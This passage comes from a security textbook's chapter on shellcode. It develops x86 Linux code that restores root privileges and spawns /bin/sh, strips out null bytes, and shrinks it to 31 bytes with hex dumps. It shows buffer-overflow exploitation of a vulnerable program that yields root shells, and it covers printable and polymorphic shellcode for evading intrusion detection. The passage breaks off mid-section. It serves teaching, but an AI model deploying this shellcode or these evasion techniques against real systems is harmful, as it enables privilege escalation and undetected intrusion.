Next the address of the string in the data segment needs to be put into ECX. 

And finally, the length of this string (in this case, 13) needs to be put into 

EDX. After these registers are loaded, the system call interrupt is called, 

which will call the write() function. 

To exit cleanly, the exit() function needs to be called, and it should take a 

single argument of 0. So the value of 1 needs to be put into EAX, 

because exit() is system call number 1, and the value of 0 needs to be put 

into EBX, because the first and only argument should be 0. Then the system 

call interrupt should be called one last time. 

The assembly code to do all that looks something like this: 

hello.asm 
section .data    ; section declaration 

 

msg     db    "Hello, world!"    ; the string 

 

section .text     ; section declaration 

 

global _start     ; Default entry point for ELF linking 

 

_start: 

 

; write() call 

 

 mov eax, 4       ; put 4 into eax, since write is syscall #4 

 mov ebx, 1       ; put stdout into ebx, since the proper fd is 1 

 mov ecx, msg     ; put the address of the string into ecx 

 mov edx, 13      ; put 13 into edx, since our string is 13 bytes 

 int 0x80         ; Call the kernel to make the system call happen 

 



; exit() call 

 

 mov eax,1       ; put 1 into eax, since exit is syscall #1 

 mov ebx,0       ; put 0 into ebx 

 int 0x80        ; Call the kernel to make the system call happen 

This code can be assembled and linked to create an executable binary 

program. The global _start line was needed to link the code properly as an 

Executable and Linking Format (ELF) binary. After the code is assembled as 

an ELF binary, it must be linked: 

$ nasm -f elf hello.asm 

$ ld hello.o 

$ ./a.out 

Hello, world! 

Excellent. This means the code works. Because this program really isn't that 

interesting to convert into bytecode, let's look at another more useful program. 

0x2a4 Shell-Spawning Code 

Shell-spawning code is simple code that executes a shell. This code can be 

converted into shellcode. The two functions that will be needed 

are execve() and setreuid(), which are system call numbers 11 and 70 

respectively. The execve() call is used to actually execute /bin/sh. 

The setreuid() call is used to restore root privileges, in case they are dropped. 

Many suid root programs will drop root privileges whenever they can for 

security reasons, and if these privileges aren't properly restored in the 

shellcode, all that will be spawned is a normal user shell. 

There's no need for an exit() function call, because an interactive program is 

being spawned. An exit() function wouldn't hurt, but it has been left out of 

this example, because ultimately the goal is to make this code as small as 

possible. 

shell.asm 
section .data    ; section declaration 

 

filepath    db   "/bin/shXAAAABBBB"       ; the string 

 

section .text    ; section declaration 

 

global _start ; Default entry point for ELF linking 

 

_start: 

 

; setreuid(uid_t ruid, uid_t euid) 

 

 mov eax, 70       ; put 70 into eax, since setreuid is syscall #70 

 mov ebx, 0        ; put 0 into ebx, to set real uid to root 

 mov ecx, 0        ; put 0 into ecx, to set effective uid to root 

 int 0x80          ; Call the kernel to make the system call happen 



 

; execve(const char *filename, char *const argv [], char *const 

envp[]) 

 

 mov eax, 0        ; put 0 into eax 

 mov ebx, filepath ; put the address of the string into ebx 

 mov [ebx+7], al   ; put the 0 from eax where the X is in the string 

                   ; ( 7 bytes offset from the beginning) 

 mov [ebx+8], ebx  ; put the address of the string from ebx where the 

                   ; AAAA is in the string ( 8 bytes offset) 

 mov [ebx+12], eax ; put the a NULL address (4 bytes of 0) where the 

                   ; BBBB is in the string ( 12 bytes offset) 

 mov eax, 11       ; Now put 11 into eax, since execve is syscall #11 

 lea ecx, [ebx+8]  ; Load the address of where the AAAA was in the 

                   ; string into ecx 

 lea edx, [ebx+12] ; Load the address of where the BBBB is in the 

                   ; string into edx 

 int 0x80          ; Call the kernel to make the system call happen 

This code is a little bit more complex than the previous example. The first set 

of instructions that should look new are these: 

mov [ebx+7], al    ; put the 0 from eax where the X is in the string 

                   ; ( 7 bytes offset from the beginning) 

mov [ebx+8], ebx   ; put the address of the string from ebx where the 

                   ; AAAA is in the string ( 8 bytes offset) 

mov [ebx+12], eax  ; put the a NULL address (4 bytes of 0) where the 

                   ; BBBB is in the string ( 12 bytes offset) 

The [ebx+7], tells the computer to move the source value into the address 

found in the EBX register, but offset by 7 bytes from the beginning. The use 

of the 8-bit AL register instead of the 32-bit EAX register tells the assembler 

to only move the first byte from the EAX register, instead of all 4 bytes. 

Because EBX already has the address of the string "/bin/shXAAAABBBB", 

this instruction will move a single byte from the EAX register into the string 

at the seventh position, right over the X, as seen here: 

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 

/ b i n / s h X A A  A  A  B  B  B  B 

The next two instructions do the same thing, but they use the full 32-bit 

registers and offsets that will cause the moved bytes to overwrite "AAAA" 

and "BBBB" in the string, respectively. Because EBX holds the address of the 

string, and EAX holds the value of 0, the "AAAA" in the string will be 

overwritten with the address of the beginning of the string, and "BBBB" will 

be overwritten with zeros, which is a null address. 

The next two instructions that should look new are these: 

lea ecx, [ebx+8]  ; Load the address of where the AAAA was in the 

                  ; string into ecx 

lea edx, [ebx+12] ; Load the address of where the BBBB is in the 

                  ; string into edx 



These are load effective address (lea) instructions, which copy the address of 

the source into the destination. In this case, they copy the address of "AAAA" 

in the string into the ECX register, and the address of "BBBB" in the string 

into the EDX register. This apparent assembly language prestidigitation is 

needed because the last two arguments for the execve() function need to be 

pointers of pointers. This means the argument should be an address to an 

address that contains the final piece of information. In this case, the ECX 

register now contains an address that points to another address (where 

"AAAA" was in the string), which in turn points to the beginning of the string. 

The EDX register similarly contains an address that points to a null address 

(where "BBBB" was in the string). 

Now let's try to assemble and link this piece of code to see if it works. 

$ nasm -f elf shell.asm 

$ ld shell.o 

$ ./a.out 

sh-2.05a$ exit 

exit 

$ sudo chown root a.out 

$ sudo chmod +s a.out 

$ ./a.out 

sh-2.05a# 

Excellent, the program spawns a shell as it should. And if the program's owner 

is changed to root and the suid permission bit is set, it spawns a root shell. 

0x2a5 Avoiding Using Other Segments 

The program spawns a shell, but this code is still a long way from being 

proper shellcode. The biggest problem is that the string is being stored in the 

data segment. This is fine if a standalone program is being written, but 

shellcode isn't a nice executable program — it's a sliver of code that needs to 

be injected into a working program to properly execute. The string from the 

data segment must be stored with the rest of the assembly instructions 

somehow, and then a way to find the address of this string must be discovered. 

Worse yet, because the exact memory location of the running shellcode isn't 

known, the address must be found relative to the EIP. Luckily, 

the jmp and call instructions can use addressing relative to the EIP. Both of 

these instructions can be used to get the address of a string relative to the EIP, 

found in the same memory space as the executing instructions. 

A call instruction will move the EIP to a certain location in memory, just like 

a jmp instruction, but it will also push the return address onto the stack so the 

program execution can continue after the call instruction. If the instruction 

after the call instruction is a string instead of an instruction, the return address 

that is pushed to the stack could be popped off and used to reference the string 

instead of being used to return. 



It works like this: At the beginning of program execution, the program jumps 

to the bottom of the code where a call instruction and the string are located; 

the address of the string will be pushed to the stack when the call instruction is 

executed. The call instruction jumps the program execution back up to a 

relative location just below the prior jump instruction, and the string's address 

is popped off the stack. Now the program has a pointer to the string and can 

do its business, while the string can be neatly tucked at the end of the code. 

In assembly it looks something like this: 

jmp two 

one: 

pop ebx 

<program code here> 

two: 

call one 

db 'this is a string' 

First the program jumps down to two, and then it calls back up to one, while 

pushing the return address (which is the address of the string) onto the stack. 

Then the program pops this address off the stack into EBX, and it can execute 

whatever code it desires. 

The stripped-down shellcode using the call trick to get an address to the 

string looks something like this: 

shellcode.asm 
BITS 32 

 

; setreuid(uid_t ruid, uid_t euid) 

 

 mov eax, 70        ; put 70 into eax, since setreuid is syscall #70 

 mov ebx, 0         ; put 0 into ebx, to set real uid to root 

 mov ecx, 0         ; put 0 into ecx, to set effective uid to root 

 int 0x80           ; Call the kernel to make the system call happen 

 

 jmp short two      ; Jump down to the bottom for the call trick 

one: 

 pop ebx            ; pop the "return address" from the stack 

                    ; to put the address of the string into ebx 

 

; execve(const char *filename, char *const argv [], char *const 

envp[]) 

 mov eax, 0         ; put 0 into eax 

 mov [ebx+7], al    ; put the 0 from eax where the X is in the string 

                    ; ( 7 bytes offset from the beginning) 

 mov [ebx+8], ebx   ; put the address of the string from ebx where the 

                    ; AAAA is in the string ( 8 bytes offset) 

 mov [ebx+12], eax  ; put a NULL address (4 bytes of 0) where the 

                    ; BBBB is in the string ( 12 bytes offset) 

 mov eax, 11        ; Now put 11 into eax, since execve is syscall #11 

 lea ecx, [ebx+8]   ; Load the address of where the AAAA was in the 

string 

                    ; into ecx 



 lea edx, [ebx+12]  ; Load the address of where the BBBB was in the 

string 

                    ; into edx 

 int 0x80           ; Call the kernel to make the system call happen 

two: 

 call one           ; Use a call to get back to the top and get the 

 db '/bin/shXAAAABBBB'       ; address of this string 

0x2a6 Removing Null Bytes 

If the previous piece of code is assembled and examined in a hex editor, it will 

be apparent that it still isn't usable as shellcode yet. 

$ nasm shellcode.asm 

$ hexeditor shellcode 

 

00000000 B8 46 00 00 00 BB 00 00 00 00 B9 00 00 00 00 CD 

.F.............. 

00000010 80 EB 1C 5B B8 00 00 00 00 88 43 07 89 5B 08 89 

...[......C..[.. 

00000020 43 0C B8 0B 00 00 00 8D 4B 08 8D 53 0C CD 80 E8 

C.......K..S.... 

00000030 DF FF FF FF 2F 62 69 6E 2F 73 68 58 41 41 41 41 

..../bin/shXAAAA 

00000040 42 42 42 42                                     BBBB 

Any null byte in the shellcode (the ones shown in bold) will be considered the 

end of the string, causing only the first 2 bytes of the shellcode to be copied 

into the buffer. In order to get the shellcode to copy into buffers properly, all 

of the null bytes must be eliminated. 

Places in the code where the static value of 0 is moved into a register are 

obvious sources of null bytes in the assembled shellcode. In order to eliminate 

null bytes and maintain functionality, a method must be devised for getting 

the static value of 0 into a register without actually using the value 0. One 

potential option is to move an arbitrary 32-bit number into the register and 

then subtract that value from the register using the mov and sub instructions. 

mov ebx, 0x11223344 

sub ebx, 0x11223344 

While this technique works, it also takes twice as many instructions, making 

the assembled shellcode larger than necessary. Luckily, there's a solution that 

will put the value of 0 into a register using only one instruction: XOR. The 

XOR instruction performs an exclusive OR operation on the bits in a register. 

An exclusive OR transforms bits as follows: 

1 xor 1 = 0 

0 xor 0 = 0 

1 xor 0 = 1 

0 xor 1 = 1 



Because 1 XORed with 1 results in a 0, and 0 XORed with 0 results in a 0, 

any value XORed with itself will result in 0. So if the XOR instruction is used 

to XOR the registers with themselves, the value of 0 will be put into each 

register using only one instruction and avoiding null bytes. 

After making the appropriate changes (shown in bold), the new shellcode 

looks like this: 

shellcode.asm 
BITS 32 

 

; setreuid(uid_t ruid, uid_t euid) 

 mov eax, 70        ; put 70 into eax, since setreuid is syscall #70 

 xor ebx, ebx       ; put 0 into ebx, to set real uid to root 

 xor ecx, ecx       ; put 0 into ecx, to set effective uid to root 

 int 0x80           ; Call the kernel to make the system call happen 

 

 jmp short two      ; Jump down to the bottom for the call trick 

one: 

 pop ebx            ; pop the "return address" from the stack 

                    ; to put the address of the string into ebx 

 

; execve(const char *filename, char *const argv [], char *const 

envp[]) 

 xor eax, eax       ; put 0 into eax 

 mov [ebx+7], al    ; put the 0 from eax where the X is in the string 

                    ; ( 7 bytes offset from the beginning) 

 mov [ebx+8], ebx   ; put the address of the string from ebx where the 

                    ; AAAA is in the string ( 8 bytes offset) 

 mov [ebx+12], eax  ; put the a NULL address (4 bytes of 0) where the 

                    ; BBBB is in the string ( 12 bytes offset) 

 mov eax, 11        ; Now put 11 into eax, since execve is syscall #11 

 lea ecx, [ebx+8]   ; Load the address of where the AAAA was in the 

string 

                    ; into ecx 

 lea edx, [ebx+12]  ; Load the address of where the BBBB was in the 

string 

                    ; into edx 

 int 0x80           ; Call the kernel to make the system call happen 

 

two: 

 call one           ; Use a call to get back to the top and get the 

 db '/bin/shXAAAABBBB' ; address of this string 

After assembling this version of the shellcode, significantly fewer null bytes 

are found. 

00000000 B8 46 00 00 00 31 DB 31 C9 CD 80 EB 19 5B 31 C0 

.F...1.1.....[1. 

00000010 88 43 07 89 5B 08 89 43 0C B8 0B 00 00 00 8D 4B 

.C..[..C.......K 

00000020 08 8D 53 0C CD 80 E8 E2 FF FF FF 2F 62 69 6E 2F 

..S......../bin/ 

00000030 73 68 58 41 41 41 41 42 42 42 42                shXAAAABBBB 



Looking at the first instruction of the shellcode and associating it with the 

assembled machine code, the culprit of the first three remaining null bytes will 

be found. This line 

mov eax, 70     ; put 70 into eax, since setreuid is syscall #70 

assembles into 

B8 46 00 00 00 

The instruction mov eax assembles into the hex value of 0xB8, and the decimal 

value of 70 is 0x00000046 in hexadecimal. The three null bytes found 

afterward are just padding, because the assembler was told to copy a 32-bit 

value (four bytes). This is overkill, since the decimal value of 70 only requires 

eight bits (one byte). By using AL, the 8-bit equivalent of the EAX register, 

instead of the 32-bit register of EAX, the assembler will know to only copy 

over one byte. The new line 

mov al, 70     ; put 70 into eax, since setreuid is syscall #70 

assembles into 

B0 46 

Using an 8-bit register has eliminated the null bytes of padding, but the 

functionality is slightly different. Now only a single byte is moved, which 

does nothing to zero out the remaining three bytes of the register. In order to 

maintain functionality, the register must first be zeroed out, and then the 

single byte can be properly moved into it. 

xor eax, eax    ; first eax must be 0 for the next instruction 

mov al, 70      ; put 70 into eax, since setreuid is syscall #70 

After making the appropriate changes (shown in bold), the new shellcode 

looks like this: 

shellcode.asm 
BITS 32 

 

; setreuid(uid_t ruid, uid_t euid) 

 xor eax, eax       ; first eax must be 0 for the next instruction 

  mov al, 70        ; put 70 into eax, since setreuid is syscall #70 

  xor ebx, ebx      ; put 0 into ebx, to set real uid to root 

  xor ecx, ecx      ; put 0 into ecx, to set effective uid to root 

  int 0x80          ; Call the kernel to make the system call happen 

  jmp short two     ; Jump down to the bottom for the call trick 

one: 

  pop ebx           ; pop the "return address" from the stack 

                    ; to put the address of the string into ebx 

 



; execve(const char *filename, char *const argv [], char *const 

envp[]) 

  xor eax, eax      ; put 0 into eax 

  mov [ebx+7], al   ; put the 0 from eax where the X is in the string 

                    ; ( 7 bytes offset from the beginning) 

  mov [ebx+8], ebx  ; put the address of the string from ebx where the 

                    ; AAAA is in the string ( 8 bytes offset) 

  mov [ebx+12], eax ; put the a NULL address (4 bytes of 0) where the 

                    ; BBBB is in the string ( 12 bytes offset) 

  mov al, 11        ; Now put 11 into eax, since execve is syscall #11 

  lea ecx, [ebx+8]  ; Load the address of where the AAAA was in the 

string 

                    ; into ecx 

  lea edx, [ebx+12] ; Load the address of where the BBBB was in the 

string 

                    ; into edx 

  int 0x80          ; Call the kernel to make the system call happen 

two: 

  call one          ; Use a call to get back to the top and get the 

  db '/bin/shXAAAABBBB' ; address of this string 

Notice that there's no need to zero out the EAX register in 

the execve() portion of the code, because it has already been zeroed out in the 

beginning of that portion of code. If this piece of code is assembled and 

examined in a hex editor, there shouldn't be any null bytes left. 

$ nasm shellcode.asm 

$ hexedit shellcode 

00000000 31 C0 B0 46 31 DB 31 C9 CD 80 EB 16 5B 31 C0 88 

1..F1.1.....[1.. 

00000010 43 07 89 5B 08 89 43 0C B0 0B 8D 4B 08 8D 53 0C 

C..[..C....K..S. 

00000020 CD 80 E8 E5 FF FF FF 2F 62 69 6E 2F 73 68 58 41 

......./bin/shXA 

00000030 41 41 41 42 42 42 42                            AAABBBB 

Now that no null bytes remain, the shellcode can be copied into buffers 

correctly. 

In addition to removing the null bytes, using 8-bit registers and instructions 

has reduced the size of the shellcode, even though an extra instruction was 

added. Smaller shellcode is actually better, because you won't always know 

the size of the target buffer to be exploited. This shellcode can actually be 

shrunk down by a few more bytes, though. 

The XAAAABBBB at the end of the /bin/sh string was added to properly allocate 

memory for the null byte and the two addresses that are later copied into there. 

Back when the shellcode was an actual program, this allocation was 

important, but because the shellcode is already hijacking memory that wasn't 

specifically allocated, there's no reason to be nice about it. This extra data can 

be safely eliminated, producing the following shellcode. 

00000000 31 C0 B0 46 31 DB 31 C9 CD 80 EB 16 5B 31 C0 88 

1..F1.1.....[1.. 



00000010 43 07 89 5B 08 89 43 0C B0 0B 8D 4B 08 8D 53 0C 

C..[..C....K..S. 

00000020 CD 80 E8 E5 FF FF FF 2F 62 69 6E 2F 73 68       

......./bin/sh 

This end result is a small piece of shellcode, devoid of null bytes. 

After putting in all that work to eliminate null bytes, though, a greater 

appreciation for one instruction, in particular, may be gained: 

mov [ebx+7], al    ; put the 0 from eax where the X is in the string 

                 ; ( 7 bytes offset from the beginning) 

This instruction is actually a trick to avoid null bytes. Because the 

string /bin/sh must be null terminated to actually be a string, the string should 

be followed by a null byte. But because this string is actually located in what 

is effectively the text (or code) segment, terminating the string with a null byte 

would put a null byte in the shellcode. By zeroing out the EAX register with 

an XOR instruction, and then copying a single byte where the null byte should 

be (where the X was), the code is able to modify itself while it's running to 

properly null-terminate its string without actually having a null byte in the 

code. 

This shellcode can be used in any number of exploits, and it is actually the 

exact same piece of shellcode used in all of the earlier exploits of this chapter. 

0x2a7 Even Smaller Shellcode Using the Stack 

There is yet another trick that can be used to make even smaller shellcode. 

The previous shellcode was 46 bytes; however, clever use of the stack can 

produce shellcode as small as 31 bytes. Instead of using the call trick to get a 

pointer to the /bin/sh string, this newer technique simply pushes the values to 

the stack and copies the stack pointer when needed. The following code shows 

this technique in its most basic form. 

stackshell.asm 
BITS 32 

 

; setreuid(uid_t ruid, uid_t euid) 

  xor eax, eax      ; first eax must be 0 for the next instruction 

  mov al, 70        ; put 70 into eax, since setreuid is syscall #70 

  xor ebx, ebx      ; put 0 into ebx, to set real uid to root 

  xor ecx, ecx      ; put 0 into ecx, to set effective uid to root 

  int 0x80          ; Call the kernel to make the system call happen 

 

; execve(const char *filename, char *const argv [], char *const 

envp[]) 

  push ecx          ; push 4 bytes of null from ecx to the stack 

  push 0x68732f2f   ; push "//sh" to the stack 

  push 0x6e69622f   ; push "/bin" to the stack 

  mov ebx, esp      ; put the address of "/bin//sh" to ebx, via esp 



  push ecx          ; push 4 bytes of null from ecx to the stack 

  push ebx          ; push ebx to the stack 

  mov ecx, esp      ; put the address of ebx to ecx, via esp 

  xor edx, edx      ; put 0 into edx 

  mov al, 11        ; put 11 into eax, since execve() is syscall #11 

  int 0x80          ; call the kernel to make the syscall happen 

The portion of the code responsible for the setreuid() call is exactly the same 

as the previous shellcode.asm, but the execve() call is handled differently. 

First 4 bytes of null are pushed to the stack to null terminate the string that is 

pushed to the stack in the next two push instructions (remember that the stack 

builds in reverse). Because each push instruction needs to be 4-byte 

words, /bin//sh is used instead of /bin/sh. These two strings are equivalent 

when used for the execve() call. The stack pointer will be right at the 

beginning of this string, so it gets copied into EBX. Then another null word is 

pushed to the stack, followed by EBX to provide a pointer to a pointer for the 

second argument for the exceve() call. The stack pointer is copied into ECX 

for this argument, and then EDX is zeroed. In the previous shellcode.asm, 

EDX was set to be a pointer that pointed to 4 bytes of null, however it turns 

out that this argument can simply be null. Finally, 11 is moved into EAX for 

the exeve() call and the kernel is called via interrupt. As the following output 

shows, this code is 33 bytes in size when assembled. 

$ nasm stackshell.asm 

$ wc -c stackshell 

     33 stackshell 

$ hexedit stackshell 

00000000 31 C9 31 DB 31 C0 B0 46 CD 80 51 68 2F 2F 73 68 

1.1.1..F..Qh//sh 

00000010 68 2F 62 69 6E 89 E3 51 53 89 E1 31 D2 B0 0B CD 

h/bin..QS..1.... 

00000020 80 

There are two tricks that can be used to shave two more bytes off this code. 

The first trick is to change the following: 

xor eax, eax    ; first eax must be 0 for the next instruction 

mov al, 70      ; put 70 into eax, since setreuid is syscall #70 

to the functional equivalent code of 

 

push byte 70    ; push the byte value 70 to the stack 

pop eax         ; pop the 4-byte word 70 from the stack 

These instructions are 1 byte smaller than the old instructions, but still 

accomplish basically the same thing. This takes advantage of the fact that the 

stack is built using 4-byte words, not single bytes. So when a single byte is 

pushed to the stack, it is automatically padded with zeros for a full 4-byte 

word. Then this can be popped off into the EAX register, providing a properly 



padded value without using null bytes. This will bring the shellcode down to 

32 bytes. 

The second trick is to change the following: 

xor edx, edx ; put 0 into edx 

to the functional equivalent code of 

cdq             ; put 0 into edx using the signed bit from eax 

The instruction cdq fills the EDX register with the signed bit from the EAX 

register. If EAX is a negative number, all of the bits in the EDX register will 

be filled with ones, and if EAX is a non-negative number (zero or positive), 

all the bits in the EDX register will be filled with zeros. In this case, EAX is a 

positive value, so EDX will be zeroed out. This instruction is 1 byte smaller 

than the XOR instruction, thus shaving yet another byte off the shellcode. So 

the final tiny shellcode looks like this: 

tinyshell.asm 
BITS 32 

 

; setreuid(uid_t ruid, uid_t euid) 

  push byte 70      ; push the byte value 70 to the stack 

  pop eax           ; pop the 4-byte word 70 from the stack 

  xor ebx, ebx      ; put 0 into ebx, to set real uid to root 

  xor ecx, ecx      ; put 0 into ecx, to set effective uid to root 

  int 0x80          ; Call the kernel to make the system call happen 

 

; execve(const char *filename, char *const argv [], char *const 

envp[]) 

  push ecx          ; push 4 bytes of null from ecx to the stack 

  push 0x68732f2f   ; push "//sh" to the stack 

  push 0x6e69622f   ; push "/bin" to the stack 

  mov ebx, esp      ; put the address of "/bin//sh" to ebx, via esp 

  push ecx          ; push 4 bytes of null from ecx to the stack 

  push ebx          ; push ebx to the stack 

  mov ecx, esp      ; put the address of ebx to ecx, via esp 

  cdq               ; put 0 into edx using the signed bit from eax 

 

  mov al, 11        ; put 11 into eax, since execve() is syscall #11 

  int 0x80          ; call the kernel to make the syscall happen 

The following output shows that the assembled tinyshell.asm is 31 bytes. 

$ nasm tinyshell.asm 

$ wc -c tinyshell 

     31 tinyshell 

$ hexedit tinyshell 

00000000   6A 46 58 31 DB 31 C9 CD 80 51 68 2F 2F 73 68 68 

jFX1.1...Qh//shh 

00000010   2F 62 69 6E 89 E3 51 53 89 E1 99 B0 0B CD 80    

/bin..QS....... 



This shellcode can be used to exploit the vulnerable vuln program from the 

previous sections. A little command-line trick is used to get the value of the 

stack pointer, which compiles a tiny program, compiles it, executes it, and 

removes it. The program simply asks for a piece of memory on the stack, and 

then prints out the location of that memory. Also, the NOP sled is 15 bytes 

larger, because the shellcode is 15 bytes smaller. 

$ echo 'main(){int sp;printf("%p\n",&sp);}'>q.c;gcc -o q.x 

q.c;./q.x;rm q.? 

0xbffff884 

$ pcalc 202+46-31 

        217             0xd9          0y11011001 

$ ./vuln 'perl -e 'print "\x90"x217;'"cat tinyshell"perl -e 'print 

"\x84\xf8\xff\xbf"x70;'' 

sh-2.05b# whoami 

root 

sh-2.05b# 

0x2a8 Printable ASCII Instructions 

There are a few useful assembled x86 instructions that map directly to 

printable ASCII characters. Some simple single-byte instructions are the 

increment and decrement instructions, inc and dec. These instructions just add 

or subtract one from the corresponding register. 

Instruction Hex ASCII 

 

inc eax 0x40 @ 

inc ebx 0x43 C 

inc ecx 0x41 A 

inc edx 0x42 B 

dec eax 0x48 H 

dec ebx 0x4B K 

dec ecx 0x49 I 

dec edx 0x4A J 

Knowing these values can prove useful. Some intrusion detection systems 

(IDSs) try to detect exploits by looking for long sequences of NOP 

instructions, indicative of a NOP sled. Surgical precision is one way to avoid 

this kind of detection, but another alternative is to use a different single-byte 

instruction for the sled. Because the registers that will be used in the shellcode 

are zeroed out anyway, increment and decrement instructions before the 

zeroing effectively do nothing. That means the letter B could be used 

repeatedly instead of a NOP instruction consisting of the unprintable value of 

0x90, as shown here. 

$ echo 'main(){int sp;printf("%p\n",&sp);}'>q.c;gcc -o q.x 

q.c;./q.x;rm q.? 

0xbffff884 

$ ./vuln 'perl -e 'print "B"x217;'"cat tinyshell"perl -e 'print 



"\x84\xf8\xff\xbf"x70;'' 

sh-2.05b# whoami 

root 

sh-2.05a# 

Alternatively, these single-byte printable instructions can be used in 

combination, resulting in some clever foreshadowing: 

$ export SHELLCODE=HIJACKHACK'cat tinyshell' 

$ ./getenvaddr SHELLCODE 

SHELLCODE is located at 0xbffffa7e 

$ ./vuln2 'perl -e 'print "\x7e\xfa\xff\xbf"x8;'' 

sh-2.05b# whoami 

root 

sh-2.05b# 

Using printable characters for NOP sleds can help simplify debugging and can 

also help prevent detection by simplistic IDS rules searching for long strings 

of NOP instructions. 

0x2a9 Polymorphic Shellcode 

More sophisticated IDSs actually look for common shellcode signatures. But 

even these systems can be bypassed, by using polymorphic shellcode. This is 

a technique common among virus writers — it basically hides the true nature 

of the shellcode in a plethora of different disguises. Usually this is done by 

writing a loader that builds or decodes the shellcode, which is then, in turn, 

executed. One common technique is to encrypt the shellcode by XORing 

values over the shellcode, using loader code to decrypt the shellcode, and then 

executing the decrypted shellcode. This allows the encrypted shellcode and 

loader code to avoid detection by the IDS, while the end result is still the 

same. The same shellcode can be encrypted a myriad of ways, thus making 

signature-based detection nearly impossible. 

There are some existing tools, such as ADMutate, that will XOR-encrypt 

existing shellcode and attach loader code to it. This is definitely useful, but 

writing polymorphic shellcode without a tool is a much better learning 

experience. 

0x2aa ASCII Printable Polymorphic Shellcode 

To disguise the shellcode, polymorphic shellcode will be created using all 

printable characters. The added restriction of only using instructions that 

assemble into printable ASCII characters presents some challenges and 

opportunities for clever hacks. But in the end, the generated printable ASCII 

shellcode should slip past most IDSs, and it can be inserted into restrictive 

buffers that don't allow unprintable characters, which means it will be able to 

exploit the previously unexploitable. 



The subset of assembly instructions that assemble into machine code 

instructions and that also happen to fall into the printable ASCII character 

range (from 0x33 to 0x7e) is actually rather small. This restriction makes 

writing shellcode significantly more difficult, but not impossible. 

Unfortunately, the XOR instruction on the various registers doesn't assemble 

into the printable ASCII character range. This means that a new method must 

be devised to zero out registers while still avoiding null bytes and only using 

printable instructions. Fortunately, another bitwise operation called AND 

happens to assemble into the % character when using the EAX register. The 

assembly instruction of and eax, 0x41414141 will assemble to the printable 

machine code of %AAAA because 0x41 in hexadecimal is the printable 

character A. 

An AND operation transforms bits as follows: 

1 and 1 = 1 

0 and 0 = 0 

1 and 0 = 0 

0 and 1 = 0 

Because the only case where the end result is a 1 is when both bits are 1, if 

two inverse values are ANDed onto EAX, EAX will become zero. 

    Binary                                Hexadecimal 

    1000101010011100100111101001010       0x454e4f4a 

AND 0111010001100010011000000110101   AND 0x3a313035 

------------------------------------  --------------- 

    0000000000000000000000000000000       0x00000000 

By using this technique involving two printable 32-bit values that are also 

bitwise inverses of each other, the EAX register can be zeroed without using 

any null bytes, and the resulting assembled machine code will be printable 

text. 

 

and eax, 0x454e4f4a    ; assembles into %JONE 

and eax, 0x3a313035    ; assembles into %501: 

So %JONE%501: in machine code will zero out the EAX register. Interesting. 

Some other instructions that assemble into printable ASCII characters are the 

following: 

sub eax, 0x41414141    -AAAA 

push eax               P 

pop eax                X 

push esp               T 

pop esp                \ 



Amazingly, these instructions, in addition to the AND eax instruction, are 

enough to build loader code that will build the shellcode onto the stack and 

then execute it. The general technique is first to set ESP back behind the 

executing loader code (in higher memory addresses) and then to build the 

shellcode from end to start by pushing values onto the stack, as shown here. 

 

Because the stack grows up (from higher memory addresses to lower memory 

addresses), the ESP will move backward as values are pushed to the stack, and 

the EIP will move forward as the loader code executes. Eventually EIP and 

ESP will meet up, and the EIP will continue executing into the freshly built 

shellcode. 

First ESP must be set back 860 bytes behind the executing loader code by 

adding 860 to ESP. This value assumes about 200 bytes of NOP sled and 

takes the size of the loader code into account. This value doesn't need to be 

exact, because provisions will be made later to allow for some slop. Because 

the only instruction usable is a subtraction instruction, addition can be 

simulated by subtracting so much from the register that it wraps around. The 

register only has 32 bits of space, so adding 860 to a register is the same as 

subtracting 232 – 860, or 4,294,966,436. However, this subtraction must take 

place using only printable values, so it's split up across three instructions that 

all use printable operands. 

 

sub eax, 0x39393333 ; assembles into -3399 

sub eax, 0x72727550 ; assembles into -Purr 

sub eax, 0x54545421 ; assembles into -!TTT 

The goal is to subtract these values from ESP, not EAX, but the 

instruction sub esp doesn't assemble into a printable ASCII character. So the 

current value of ESP must be moved into EAX for the subtraction, and then 

the new value of EAX must be moved back into ESP. 

http://users.atw.hu/exploitation/images/figu104_1_0.jpg


Because neither mov esp, eax nor mov eax, esp assemble into printable ASCII 

characters either, this exchange must be done using the stack. By pushing the 

value from the source register to the stack and then popping that same value 

off into the destination register, the equivalent of a mov <dest>, 

<source> instruction can be accomplished with push <source> and pop <dest>. 

And because the pop and push instructions for both the EAX and ESP 

registers assemble into printable ASCII characters, this can all be done using 

printable ASCII. 

So the final set of instructions to add 860 to ESP are these: 

and eax, 0x454e4f4a ; assembles into %JONE 

and eax, 0x3a313035 ; assembles into %501: 

 

push esp            ; assembles into T 

pop eax             ; assembles into X 

 

sub eax, 0x39393333 ; assembles into -3399 

sub eax, 0x72727550 ; assembles into -Purr 

sub eax, 0x54545421 ; assembles into -!TTT 

 

push eax            ; assembles into P 

pop esp             ; assembles into \ 

This means that %JONE%501:TX-3399-Purr-!TTT-P\ will add 860 to ESP in 

machine code. So far so good. Now the shellcode must be built. 

First EAX must be zeroed out again, but this is easy now that a method has 

been discovered. Then, by using more sub instructions, the EAX register must 

be set to the last four bytes of the shellcode, in reverse order. Because the 

stack normally grows upward (toward lower memory addresses) and builds 

with a FILO ordering, the first value pushed to the stack must be the last four 

bytes of the shellcode. These bytes must be backward, due to the little-endian 

byte ordering. The following is a hexadecimal dump of the tiny shellcode 

created in the previous chapter, which will be built by the printable loader 

code: 

00000000 6A 46 58 31 DB 31 C9 CD 80 51 68 2F 2F 73 68 68 

jFX1.1...Qh//shh 

00000010 2F 62 69 6E 89 E3 51 53 89 E1 99 B0 0B CD 80    

/bin..QS....... 

In this case, the last four bytes are shown in bold; the proper value for the 

EAX register is 0x80CD0BB0. This is easily accomplished by 

using sub instructions to wrap the value around, and then EAX can be pushed 

to the stack. This moves ESP up (toward lower memory addresses) to the end 

of the newly pushed value, ready for the next four bytes of shellcode 

(underlined in the preceding shellcode). More sub instructions are used to 

wrap EAX around to 0x99E18953, and then this value is pushed to the stack. 



As this process is repeated for each 4-byte chunk, the shellcode is built from 

end to start, toward the executing loader code. 

00000000 6A 46 58 31 DB 31 C9 CD 80 51 68 2F 2F 73 68 68 

jFX1.1...Qh//shh 

00000010 2F 62 69 6E 89 E3 51 53 89 E1 99 B0 0B CD 80       

/bin..QS....... 

Eventually, the beginning of the shellcode is reached, but there are only three 

bytes left (underlined in the preceding shellcode) after pushing 0xC931DB31 

to the stack. This situation is alleviated by inserting one single-byte NOP 

instructions at the beginning of the code, resulting in the value 0x58466A90 

being pushed to the stack — 0x90 is machine code for NOP. 

The code for the entire process is as follows: 

